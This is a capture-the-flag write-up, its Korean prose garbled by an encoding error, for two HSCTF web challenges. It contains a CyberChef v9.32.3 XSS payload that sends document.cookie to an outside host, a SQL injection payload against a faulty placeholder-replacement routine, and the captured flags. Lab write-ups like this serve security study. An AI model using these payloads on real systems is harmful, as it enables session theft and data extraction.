Cyberchef
๋ฌธ์ ํ์ด์ง๋ ์์ ๊ฐ๋ค.
< app.js >
const express = require('express');
const bodyParser = require('body-parser');
const { checkRateLimit, checkUrl, visitUrl } = require('./utils');
const app = express();
app.set('view engine', 'ejs');
app.use(bodyParser.urlencoded({
extended: false
}));
app.get('/', (req, res) => {
res.render('index');
});
app.post('/report', (req, res) => {
const url = req.body.url;
if (!checkUrl(url)) {
res.redirect('/?message=invalid argument');
} else if (!checkRateLimit(req.ip)) {
res.redirect(`/?message=rate limited`);
} else {
visitUrl(url)
.then(() => res.redirect('/?message=reported'));
}
});
app.listen(8001);
< utils.js >
const webdriver = require('selenium-webdriver');
const capabilities = webdriver.Capabilities.chrome();
const flag = require('fs').readFileSync('/flag').toString().trim();
const rateLimit = 30 * 1000;
const pageTimeout = 3 * 1000;
const urlPrefix = 'http://cyberchef:8000/';
const timestamps = new Map();
const sleep = (ms) => {
return new Promise((resolve) => {
setTimeout(() => resolve(), ms);
});
};
const checkRateLimit = (key) => {
const now = Date.now();
if (timestamps.has(key) && timestamps.get(key) > now - rateLimit) {
return false;
}
timestamps.set(key, now);
return true;
};
const checkUrl = (url) => {
return !(typeof url !== 'string' || !url.startsWith(urlPrefix) || url.length > 1024);
};
const visitUrl = (url) => {
return new Promise(async (resolve) => {
const driver = new webdriver.Builder('chrome')
.usingServer('http://selenium:4444/wd/hub/')
.withCapabilities(capabilities)
.build();
await driver.get(urlPrefix);
await driver.manage().addCookie({
name: 'flag',
value: flag
});
await driver.manage().setTimeouts({
implicit: pageTimeout,
pageLoad: pageTimeout,
script: pageTimeout
});
await driver.get(url);
await sleep(pageTimeout);
await driver.quit();
resolve();
});
};
module.exports = {
checkRateLimit,
checkUrl,
visitUrl
};
ํต์ฌ ์ฝ๋๋ ์์ ๊ฐ๋ค. utils.js ํ์ผ์์ chromedriver๋ก ์ ์ํ๊ณ ์ ํ๋ ์น์ฌ์ดํธ์ ์ ๊ทผํ๋ฉฐ Cookie๋ฅผ ํ์ทจํด์ผ Flag๋ฅผ ์ป์ ์ ์๋ค. ๋ฌธ์ ํ์ด์ง ์ต์๋จ ์ข์ธก์ Download CyberChef๋ฅผ ํด๋ฆญํด ์์ค์ฝ๋๋ฅผ ๋ณด๋ฉด CyberChef_v9.32.3 ๋ฒ์ ์ ์ฌ์ฉํ๋ค. github์ cyberchef์ ๊ด๋ จ๋ issues๋ฅผ ๋ณด๋ฉด XSS์ ๊ด๋ จ๋ ์ทจ์ฝ์ ๋ค์ ํ์ธํ ์ ์์๋ค.
์ recipe=Scatter_chart('Line%20feed','Space',false,'','','red%22%3E%3Cscript%3Ealert(%22XSS:%20%22%20%2B%20document.domain)%3C/script%3E',100,false)&input=MTAwLCAxMDA
ํ์ด๋ก๋๋ฅผ ์ง์ ๋์ ํ๋ฉด XSS๊ฐ ํฐ์ง๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
์ URL์ Reportํ์ฌ Flag๋ฅผ ์ป์ผ๋ฉด ๋๋ค.
Payload
http://cyberchef:8000/#recipe=Scatter_chart('Line%20feed','Space',false,'','','red%22%3E%3Cscript%3Elocation.href%3d%22https://payload.site/?%22%2Bdocument.cookie%3C/script%3E',100,false)&input=MTAwLCAxMDA
Flag
hsctf{fa98fe3d32b4302aff1c322c925238a9d935b636f265cbfdd798391ca9c5a905}
Not E
์์ค ์ฝ๋๋ฅผ ๋ดค๋๋ SQL Query๋ฌธ์ด ๋ง์ด ๋ณด์ด๋ ๊ฒ์ ๋ณด์ SQL Injection์ ์์ฌํ๋ค. ๋ง์นจ SQLi ๋ฌธ์ ๋ฅผ ์ํ ๋น๋์ ์ฒ๋ผ ๋ณด์ด๊ธฐ๋ ํ๊ณ .
flag table์ flag๊ฐ ์ ์ฅ๋์ด ์๋ ๊ฒ์ ํ์ธํ๊ณ SQLi exploit ๋ฌธ์ ์ธ ๊ฒ์ ํ์ .
app.all('/new', async (req, res) => {
if (req.method !== 'POST') {
return res.render('new', { auth: true });
}
const { title, content } = req.body;
// console.log("title : ", title, "content : ", content);
// console.log('title type', typeof(title), 'content type', typeof(content));
if (!checkParam(title) || !checkParam(content)) {
return res.redirect('?message=invalid argument');
}
const noteId = md5(title + content);
//insert into posts values (?, ?, select)
await db.run('insert into posts values (?, ?, ?, ?)', [ noteId, title, content, req.session.login ]);
return res.redirect('/?message=successfully created');
});
/new endpoint์์ ์ตํ๋จ insert์ฟผ๋ฆฌ๋ฌธ์ ๋ณด๋ฉด prepared statement๋ฅผ "?"๋ก ๋ฐ๋๋ค. ๋์ปค๋ก ๊ฐ์ ํ๊ฒฝ์์ ํ ์คํธ๋ฅผ ํด๋ดค๋๋ "?" ๋ฌธ์๊ฐ formatQuery๋ก ์ธํด ํ๋ ๋ ์ถ๊ฐ๋๊ณ sql.replace('?', param)์ ์ํด ๋น ๋ฌธ์์ด์ธ ""๋ก ๋์ฒด๋๋ ๊ฒ์ ํ์ธํ์๋ค.
์ฐธ๊ณ ์๋ฃ : https://jangjongmin.oopy.io/b32e4eba-7b35-4540-97bb-be242f16c5f8
์์)
Input : Insert INTO posts ("test", "1234?", "5678", "guest");
Output : Insert INTO posts ("test", "1234""", "5678", "guest");
์ด๋ ๊ฒ ?๋ฅผ ์ฌ์ฉํ๋ฉด "ํํฐ๋ง ์ฐํ๊ฐ ๊ฐ๋ฅํ๋ฏ๋ก SQLi๊ฐ ๊ฐ๋ฅํ๋ค.
Payload
title : exploit
content : ,(SELECT * FROM flag), 'username');--
# Input : INSERT INTO posts VALUES ("note_id", "exploit", ", (SELECT * FROM flag), 'username'); -- ", "username");
# Output : INSERT INTO posts VALUES ("note_id", "exploit", (SELECT * FROM flag), 'username');-- "", "", ?);
Flag
hsctf{038d083216a920c589917b898ff41fd9611956b711035b30766ffaf2ae7f75f2}